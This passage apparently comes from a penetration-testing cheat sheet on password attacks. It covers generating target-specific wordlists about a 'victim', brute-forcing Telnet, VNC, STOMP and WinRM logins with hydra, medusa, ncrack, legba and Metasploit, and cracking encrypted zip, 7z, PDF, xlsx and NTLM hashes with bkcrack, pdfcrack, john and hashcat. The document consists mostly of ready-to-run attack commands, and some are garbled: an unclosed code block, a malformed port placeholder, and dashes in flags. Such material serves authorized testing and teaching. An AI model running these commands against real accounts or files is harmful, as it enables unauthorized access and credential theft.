## **Create your own Dictionaries**

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

### Crunch

```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```

### Cewl

```bash
cewl example.com -m 5 -w words.txt
```

### [CUPP](https://github.com/Mebus/cupp)

Generate passwords based on your knowledge of the victim (names, dates...)

```
python3 cupp.py -h
```

### [Wister](https://github.com/cycurity/wister)

A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target.

```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

#### Weak SSH keys / Debian predictable PRNG

Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).

### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)

The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations.

```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```

### Telnet

```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
    --username admin \
    --password wordlists/passwords.txt \
    --target localhost:23 \
    --telnet-user-prompt "login: " \
    --telnet-pass-prompt "Password: " \
    --telnet-prompt ":~$ " \
    --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```

### VNC

```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```

### Winrm

```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```

#### Known plaintext zip attack

You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\
Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page.

```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```

### 7z

```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```

```bash

apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```

### PDF

```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```

### Open Office Pwd Protected Column

If you have an xlsx file with a column protected by a password you can unprotect it:

- **Upload it to google drive** and the password will be automatically removed
- To **remove** it **manually**:

```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
```

## Tools

**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)

### Hash-identifier

```bash
hash-identifier
> <HASH>
```

### Wordlists

- **Rockyou**
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
- [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)

### **Wordlist Generation Tools**

- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes.

```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```

### John mutation

Read _**/etc/john/john.conf**_ and configure it

```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```

### Hashcat

#### Hashcat attacks

- **Wordlist attack** (`-a 0`) with rules

**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).

```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```

- **Wordlist combinator** attack

It's possible to **combine 2 wordlists into 1** with hashcat.\
If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated.

```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```

- **Mask attack** (`-a 3`)

```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```

- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack

```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```

#### Hashcat modes

```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
